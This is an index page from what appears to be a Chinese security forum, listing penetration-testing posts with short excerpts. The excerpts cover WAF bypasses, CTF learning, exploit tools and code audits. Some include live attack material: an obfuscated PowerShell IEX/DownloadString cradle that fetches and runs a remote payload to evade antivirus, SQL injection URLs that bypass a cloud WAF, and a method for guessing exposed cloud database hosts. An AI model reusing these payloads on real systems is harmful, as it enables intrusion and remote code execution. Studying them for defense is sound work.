# Latest **URL:** https://forum.90sec.com/latest.md?page=1 [最新](https://forum.90sec.com/latest.md) · [类别](https://forum.90sec.com/categories.md) · [标签](https://forum.90sec.com/tags.md) **Page:** 2 --- ## [实战过程中关于阿里云数据库连接问题](https://forum.90sec.com/t/topic/1872)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 8\ **最近更新：:** [2023 年10 月 6 日 05:31 UTC](https://forum.90sec.com/t/topic/1872 "2023-10-06T05:31:45Z")
正常情况下阿里云一般数据库和网站是分离的，而且一般情况下只能通过网站连接数据库。 哪怕有时候遇到阿里云数据库是可以连接的，也只是知道内网ip。 发现一个情况 阿里云的数据库内网连接地址比外网ip地址少两位。 如果遇到知道内网数据库连接信息，不妨加2位ping一下能通基本上就是外网地址， 能不能外连就看运气了。 譬如：rm-wz03dy6e5774ky0gd.mysql.rds.aliyuncs.com 你可以用字典工具生成下(数字+小写字母2位组合字典)：ip.txt 左边批量添加：rm-wz03dy6e5774ky0gd 右边批量添加：.mysql.rds.aliyuncs.… --- ## [苹果cms后台特定情况getshell](https://forum.90sec.com/t/topic/2316)
**Author:** [@just\_fun](https://forum.90sec.com/u/just_fun)\ **回复:** 0\ **最近更新：:** [2023 年9 月 26 日 03:03 UTC](https://forum.90sec.com/t/topic/2316 "2023-09-26T03:03:20Z")
苹果cms 更新日期2023年9月11日 未授权访问暴露网站根目录 /application/data/update/database.php /extend/qiniu/src/Qiniu/functions.php /vendor/karsonzhang/fastadmin-addons/src/common.php /vendor/topthink/think-captcha/src/helper.php /vendor/topthink/think-image/tests/autoload.php /vendor/topthink/think-image/tests/C… --- ## [拥抱PHP之在crash中遇见generator](https://forum.90sec.com/t/topic/2315)
**Author:** [@maplgebra](https://forum.90sec.com/u/maplgebra)\ **回复:** 0\ **最近更新：:** [2023 年9 月 23 日 15:29 UTC](https://forum.90sec.com/t/topic/2315 "2023-09-23T15:29:52Z")
拥抱PHP之在crash中遇见generator 原文: 拥抱PHP之在crash中遇见generator | maplgebra 0. crash样本 缘起 \ **Author:** [@GUANZHI](https://forum.90sec.com/u/GUANZHI)\ **回复:** 0\ **最近更新：:** [2023 年9 月 19 日 13:50 UTC](https://forum.90sec.com/t/topic/2314 "2023-09-19T13:50:50Z") 初学pwn的一步一步解题学习的思路 Pwn主要学习语言会用到C语言和python语言，C用于读代码，python用于写脚本(exp)。 首先先用nc（netcat）访问IP地址和端口，得到如下的信息： 他是想让你来计算给出的100道… --- ## [【赠书活动 】 新手进阶圣经！《Web安全攻防：渗透测试实战指南》（第2版）问世！](https://forum.90sec.com/t/topic/2272)
**Author:** [@hundan](https://forum.90sec.com/u/hundan)\ **回复:** 5\ **最近更新：:** [2023 年9 月 7 日 04:17 UTC](https://forum.90sec.com/t/topic/2272 "2023-09-07T04:17:36Z")
本书是畅销书《Web 安全攻防：渗透测试实战指南》 的第2版，距离第1版出版已经过去5年。5年来，这本书帮助很多读者进入了网络安全这个神秘的领域。正如读者知道的，网络安全技术更新速度很快，第1版中的很多知识点和技术已经迭代更新。为此，MS08067安全实验室对内容进行了全面升级，结合读者反馈和近年新出现的攻击技术，补充了很多新知识点和实际案例，增补内容超过50% 。 \[image\] 本书内容全面而系统，适合网络安全新手。从基础到进阶，从新人学习特点的角度出发进行相关知识的讲解，全书涵盖了目前所有流行的高危漏洞的原理、攻击手段和防御手段。不同于传统的理论堆砌，本书以实战为核心，以讲解实际步… --- ## [初学CTF](https://forum.90sec.com/t/topic/2301)
**Author:** [@GUANZHI](https://forum.90sec.com/u/GUANZHI)\ **回复:** 1\ **最近更新：:** [2023 年8 月 25 日 12:02 UTC](https://forum.90sec.com/t/topic/2301 "2023-08-25T12:02:06Z")
flag明文 账号审核 开始小白学习流量分析题， 当然是从最基础的开始啦，使用到的工具是wireshark哪有什么做流量题不用wireshark的啊 打开流量包，最先开始的思路就是搜一下flag这个字符串是否存在于流量包中 于是第… --- ## [渗透测试之http数据包加解密](https://forum.90sec.com/t/topic/2300)
**Author:** [@zonei123](https://forum.90sec.com/u/zonei123)\ **回复:** 0\ **最近更新：:** [2023 年8 月 21 日 08:19 UTC](https://forum.90sec.com/t/topic/2300 "2023-08-21T08:19:53Z")
渗透测试之http数据包加解密 对某孕小程序渗透测试的时候遇到http数据包加密的情况 于是在前端js代码查找加解密的代码，可以搜索关键字encrypt，decrypt 在加解密的代码处打断点 在浏览器控制台调用加解密函数 … --- ## [过云锁注入方法](https://forum.90sec.com/t/topic/2296)
**Author:** [@t1st](https://forum.90sec.com/u/t1st)\ **回复:** 0\ **最近更新：:** [2023 年8 月 16 日 02:20 UTC](https://forum.90sec.com/t/topic/2296 "2023-08-16T02:20:41Z")
环境：windserver2008 + mysql+php \[微信截图\_20230722021233\] SQL语句拦截图： http://www.test123.com/article.php?id=1%20union%20select%201,2,3 \[微信截图\_20230722021251\] SQL绕过语句图： http://www.test123.com/article.php?id=-1/\*!36000union\*//\*!36000distinct\*//\*!36000select\*/1,2,user() \[微信截图\_20230722021359\] --- ## [一次edu存储型XSS挖掘过程](https://forum.90sec.com/t/topic/2288)
**Author:** [@haaaas](https://forum.90sec.com/u/haaaas)\ **回复:** 1\ **最近更新：:** [2023 年8 月 14 日 05:20 UTC](https://forum.90sec.com/t/topic/2288 "2023-08-14T05:20:25Z")
对目标站进行子域收集。 \[图片\] 浏览了一下爆破出来的站点，发现有个数字图书馆，访问之，界面默认直接是一个test用户，点击直接登陆 \[图片\] 登陆后，文章用户评论界面评论处插入xsspayload，存在过滤 \[图片\] 进入用户界面修改评论 \[图片\] 在修改框处插入xss fuzz payload，可以成功弹框。 \[图片\] --- ## [rakshasa多级代理内网穿透工具](https://forum.90sec.com/t/topic/2233)
**Author:** [@Mob2003](https://forum.90sec.com/u/Mob2003)\ **回复:** 2\ **最近更新：:** [2023 年8 月 6 日 10:23 UTC](https://forum.90sec.com/t/topic/2233 "2023-08-06T10:23:58Z")
rakshasa rakshasa是一个使用Go语言编写的强大多级代理工具，专为实现多级代理，内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持socks5代理，http代理，并且可以引入外部http、sock… --- ## [分享一篇不错的.NET Webshell免杀文章](https://forum.90sec.com/t/topic/2284)
**Author:** [@Smile2](https://forum.90sec.com/u/Smile2)\ **回复:** 0\ **最近更新：:** [2023 年8 月 3 日 10:47 UTC](https://forum.90sec.com/t/topic/2284 "2023-08-03T10:47:49Z")
.NET ByPass系列 Shell加载字节码 原文出自这里 笔者加载位于当前执行程序所在目录下的 "net-calc.dll" 文件的字节码内容，内容很简单启动一个新进程弹出计算器,并将其存储在 assemblyBytes变量… --- ## [想看看大佬写的工具](https://forum.90sec.com/t/topic/2240)
**Author:** [@Hph](https://forum.90sec.com/u/Hph)\ **回复:** 3\ **最近更新：:** [2023 年7 月 21 日 06:22 UTC](https://forum.90sec.com/t/topic/2240 "2023-07-21T06:22:44Z")
现在在网络安全公司工作 --- ## [Nacos未授权访问漏洞复现](https://forum.90sec.com/t/topic/2230)
**Author:** [@xunfeng](https://forum.90sec.com/u/xunfeng)\ **回复:** 3\ **最近更新：:** [2023 年7 月 21 日 02:09 UTC](https://forum.90sec.com/t/topic/2230 "2023-07-21T02:09:41Z")
\*\*漏洞简单描述： Nacos是一套帮助发现、配置和管理微服务的程序。提供一组简单易用的特性集，能够快速的实现动态服务发现、服务配置、服务元数据以及流量管理。 2020年12月29日，Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞，攻击者可以进行任意操作，包括创建新用户并进行登录后操作。 https://github.com/alibaba/nacos/issues/1105 在Nacos 2.0版本存在未授权访问漏洞，程序未有效对于用户权限进行判断，导致能够添加任意用户、修改任意… --- ## [H3C IMC 远程命令执行图形化利用工具](https://forum.90sec.com/t/topic/1986)
**Author:** [@liock](https://forum.90sec.com/u/liock)\ **回复:** 67\ **最近更新：:** [2023 年7 月 20 日 04:31 UTC](https://forum.90sec.com/t/topic/1986 "2023-07-20T04:31:44Z")
H3C IMC 远程命令执行图形化工具&漏洞武器库预览 1、运行程序 2、输入IP和端口，点击漏洞检测 3、输入待测IP和待测端口，输入要执行的命令，点击漏洞利用即可利用成功 4、生成exe文件 5、exe运行 … --- ## [某发卡平台代码审计](https://forum.90sec.com/t/topic/1767)
**Author:** [@sora](https://forum.90sec.com/u/sora)\ **回复:** 3\ **最近更新：:** [2023 年5 月 22 日 10:44 UTC](https://forum.90sec.com/t/topic/1767 "2023-05-22T10:44:04Z")
首先分析一下文件目录 然后看看关键文件，common.php中找到了sql注入过滤函数 大概就是把特殊字符全部删除，但是\_safwq遗漏了反斜杠和双引号。（这里先留个坑） 而且获取客户端的real\_ip函数也做了正则校验。 首… --- ## [BadPotato 提权](https://forum.90sec.com/t/topic/1017)
**Author:** [@BeichenDream](https://forum.90sec.com/u/BeichenDream)\ **回复:** 17\ **最近更新：:** [2023 年5 月 20 日 02:41 UTC](https://forum.90sec.com/t/topic/1017 "2023-05-20T02:41:28Z")
BadPotato .Net 版本的pipePotato 已经在Windows 2012-2019 8-10 全补丁测试成功 Github : https://github.com/BeichenDream/BadPotato \[screen\] 引用 https://github.com/vletoux/pingcastle https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ Release.zip (47.0 KB) --- ## [求咨询微步相关人员关于个人隐私相关问题。](https://forum.90sec.com/t/topic/2226)
**Author:** [@zjjchenyifu](https://forum.90sec.com/u/zjjchenyifu)\ **回复:** 1\ **最近更新：:** [2023 年3 月 21 日 02:19 UTC](https://forum.90sec.com/t/topic/2226 "2023-03-21T02:19:23Z")
技术大佬大概解释一下也可以。 昵称：limanman233 电话：你们微步有 qq：496672097 不怕人肉。半实名询问 我是主机39.99.247.218的管理员，该主机主要用来支持我自己的《慢文档》应急响应笔记的网站。网站建于… --- ## [某多多anti-ceontent核心算法](https://forum.90sec.com/t/topic/2225)
**Author:** [@yizhiyan](https://forum.90sec.com/u/yizhiyan)\ **回复:** 0\ **最近更新：:** [2023 年3 月 6 日 13:47 UTC](https://forum.90sec.com/t/topic/2225 "2023-03-06T13:47:20Z")
某多多的ant-content核心算法解密版本，耗时4天3夜，并非网上直接把代码扣下来的。完全解密版本 解密方法和代码 代码是用ast来解密的。利用babel处理，解密一部分+手动修复代码。 AST相关的教程和文档 https://… --- ## [异步子域名扫描器 支持泛解析](https://forum.90sec.com/t/topic/2222)
**Author:** [@hackergov](https://forum.90sec.com/u/hackergov)\ **回复:** 0\ **最近更新：:** [2023 年2 月 28 日 14:17 UTC](https://forum.90sec.com/t/topic/2222 "2023-02-28T14:17:24Z")
前期发过一个极速子域名扫描器，但由于是同步的方式，所以速度有点不够快，且不支持泛解析判断，此次进行了大幅度的改进。 改进如下： 采用异步方式发包 支持泛解析判断（判断原理是获取全部标题，然后去重） 支持状态码200,302,403 支持http/https 泛解析大字典在扫描时表格不会实时输出，会保存到字典，然后扫描完成点击大字典处理会将存在的子域名写入到文件和列表。 扫描字典进行了改进，搜集了很多知名工具的目录集合到了一起。 其余的和上一版本该有的功能都有。 程序支持http/https，支持响应码为200，302，403 程序采用异步发包的方式，所以速度比同步发包要快一… --- ## [记录一次樱某动漫网逆向](https://forum.90sec.com/t/topic/2215)
**Author:** [@Sword](https://forum.90sec.com/u/Sword)\ **回复:** 1\ **最近更新：:** [2023 年2 月 12 日 07:43 UTC](https://forum.90sec.com/t/topic/2215 "2023-02-12T07:43:30Z")
前言 寒假闲来无事,无聊看看动漫,想着看樱某也有好几年了,就研究一下 \\99999.png) 绕过无限debugger 随机点进一个视频,打开f12看到下图 可以看到这是一个无限debugger,它会阻止你看他代码不断的产… --- ## [绿盟云原生CNBAS](https://forum.90sec.com/t/topic/2205)
**Author:** [@zhangjinglei045](https://forum.90sec.com/u/zhangjinglei045)\ **回复:** 0\ **最近更新：:** [2022 年12 月 28 日 07:00 UTC](https://forum.90sec.com/t/topic/2205 "2022-12-28T07:00:57Z")
简介 1.1 什么是BAS？ Breach and Attack Simulation（BAS）即入侵与攻击模拟，即通过对环境进行一致性、端到端、持续性、真实无害化的攻击模拟，以评估和验证环境的安全以及安全控制项的有效性，并且提供可视化的结果展示。 Gartner在2017年抛出了如何实际测试组织的整个安全性问题，随即引入了BAS技术。从BAS出现到在大众视野到逐步产品化的今天，关于BAS的讨论从未停止，如“实际测试”限定而引入测试的真实性讨论：到底应该有多真实、哪些应该是被模拟的等。在众多对此领域感兴趣或者相信BAS是解决该问题的有效方法的组织或个人的推动下，BAS的轮廓渐进明晰。 … --- ## [泛微漏洞测试求助](https://forum.90sec.com/t/topic/2162)
**Author:** [@bl4ck](https://forum.90sec.com/u/bl4ck)\ **回复:** 1\ **最近更新：:** [2022 年12 月 18 日 15:22 UTC](https://forum.90sec.com/t/topic/2162 "2022-12-18T15:22:26Z")
测试上传不成功，不知道什么原因，求POC --- ## [Bypass\_AV - Powershell 命令](https://forum.90sec.com/t/topic/1915)
**Author:** [@dan\_dion](https://forum.90sec.com/u/dan_dion)\ **回复:** 2\ **最近更新：:** [2022 年12 月 13 日 02:34 UTC](https://forum.90sec.com/t/topic/1915 "2022-12-13T02:34:35Z")
0x01 发现组合 发现文件unicode + .bat可以有操作 0x02 组合 payload: 还有分割赋值等操作，也可以利用copy命令进行免杀 写入bat文件里面 然后转换文件名 0x03 操作 cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19’+'2.168.190.12'+'8/ a') | p^o^w^e^r^s^h^e^l^l - \[Snipaste\_2021-11-06\_… --- ## [记一次校园网攻防演练](https://forum.90sec.com/t/topic/1657)
**Author:** [@kosakd](https://forum.90sec.com/u/kosakd)\ **回复:** 16\ **最近更新：:** [2022 年10 月 26 日 01:37 UTC](https://forum.90sec.com/t/topic/1657 "2022-10-26T01:37:12Z")
这次的截图比较少，因为当时忘记截图了，本来想复盘，结果漏洞都修复了，所以这次文章，文字偏多，图片得打厚吗。 故事的发生在三月份，那时候我天天泡图书馆，学习go，应为要自己造轮子，写个扫描器，有一次我对图书馆的查书系统感兴趣了，在查书的时候，按了下，win键，发现直接弹出桌面，好奇心旺盛的我就，随手进行了个测试，段了个网，数据库账号密码就显现到我面前了，密码是圆筒加密的，网上随便下载个密码查看器就能查看到，把遮掩属性给去掉就行了，获取到一个普通权限的sql用户，不过知道了数据库的ip，在内网中的网段，尝试连接下看，发现图书管理系统的数据库中，存放着，从建校以来的所有学生和老师信息，我去这不得了… --- ## [记一次绕过win下宝塔的disable\_functions到cs上线](https://forum.90sec.com/t/topic/2172)
**Author:** [@ynszzs](https://forum.90sec.com/u/ynszzs)\ **回复:** 2\ **最近更新：:** [2022 年10 月 13 日 03:20 UTC](https://forum.90sec.com/t/topic/2172 "2022-10-13T03:20:27Z")
0x00：思路分析 在一次渗透测试中，通过某个上传漏洞拿到了目标的shell 好家伙，禁了这么多函数 上一下哥斯拉的马看一下信息 win的服务器，还是system权限 目标服务器是宝塔，win下的宝塔一般都是syste… --- ## [SeaCms 代码审计](https://forum.90sec.com/t/topic/2191)
**Author:** [@xuehuiziyu](https://forum.90sec.com/u/xuehuiziyu)\ **回复:** 0\ **最近更新：:** [2022 年10 月 10 日 02:44 UTC](https://forum.90sec.com/t/topic/2191 "2022-10-10T02:44:02Z")
PHP 代码审计学习计划是从 BuleCms-\>SeaCms-\>DedeCms-\>PhpCms 逐一进行审计，这里审计的是 SeaCms v6.45 SeaCms 是多文件入口的 Cms，思路还是先通读 index.php 和 admin/index.php 和 admin/login.php 文件，借此了解 Cms 对参数的全局过滤和连接数据库的编码和其它的一些安全措施 SeaCms 用 addslashes 函数对参数进行处理 function \_RunMagicQuotes(&$svar) { if(!get\_magic\_quotes\_gpc()) { if( is\_arr… --- ## [看我用内网MSF打公网永恒之蓝](https://forum.90sec.com/t/topic/2169)
**Author:** [@liken\_xiaoxi](https://forum.90sec.com/u/liken_xiaoxi)\ **回复:** 1\ **最近更新：:** [2022 年10 月 8 日 03:23 UTC](https://forum.90sec.com/t/topic/2169 "2022-10-08T03:23:34Z")
看我用内网MSF打公网永恒之蓝 存在疑问，网查没有，技术一般，重在思路，不喜勿喷 正常用msf打永恒之蓝漏洞的过程复现在网上一翻一大堆，不过基本上都是内网的两个虚拟机互打，然后之前我就冒出来个稀奇古怪的想法，假如这台带有永恒之蓝漏洞… --- ## [一款可自定义自动字典生成器---火花(spark)](https://forum.90sec.com/t/topic/2176)
**Author:** [@g0mini](https://forum.90sec.com/u/g0mini)\ **回复:** 0\ **最近更新：:** [2022 年9 月 26 日 09:13 UTC](https://forum.90sec.com/t/topic/2176 "2022-09-26T09:13:55Z")
一款可自定义自动字典生成器---火花(spark) 前言 外网前台没有rce现在点越来越难打。 只有后台才可能有点希望。 爆破越来越重要了。 所以才耗时来写个工具 工具介绍 定向字典生成,多重组合排序。 支持字符长短限制。 支持字符复杂的… --- ## [密码学与编码的工具](https://forum.90sec.com/t/topic/1484)
**Author:** [@dds2333](https://forum.90sec.com/u/dds2333)\ **回复:** 2\ **最近更新：:** [2022 年9 月 5 日 07:26 UTC](https://forum.90sec.com/t/topic/1484 "2022-09-05T07:26:21Z")
自加入 90 以来一直潜水看大佬秀操作，想着 2020 年快结束了，分享一些密码学相关的 菜鸡的工具 首先是本菜鸡写的关于 SM2、SM4加解密以及常见哈希算法 的工具，如下图： \[image\] 工具地址：https://github.com/dds2333/Crypto\_Tool 我自己各种网络服务的账号密码都是用 SM2 加密存储在文本文件中，多处备份。XD 优秀的开源项目 以下两个在渗透测试中用得挺多的，特别是涉及编码与解码的时候 CyberChef， https://github.com/gchq/CyberChef CyberChef 集合多种密码与编码解码的功能… --- ## [挖洞技巧-扩展攻击面](https://forum.90sec.com/t/topic/1861)
**Author:** [@lufei](https://forum.90sec.com/u/lufei)\ **回复:** 6\ **最近更新：:** [2022 年8 月 17 日 03:17 UTC](https://forum.90sec.com/t/topic/1861 "2022-08-17T03:17:42Z")
0x00 前言 在挖洞过程中，我们经常忽略一些攻击面，但是这些被忽略的攻击面很大概率就是存在漏洞的。因为比较明显的攻击面被大多数人来回测试了几次，因此我们需要寻找一些很少人挖的地方进行挖掘。 0x01 更多的资产 可以通过空间引擎搜索一些… [上一页](https://forum.90sec.com/latest.md) [下一页](https://forum.90sec.com/latest.md?page=2)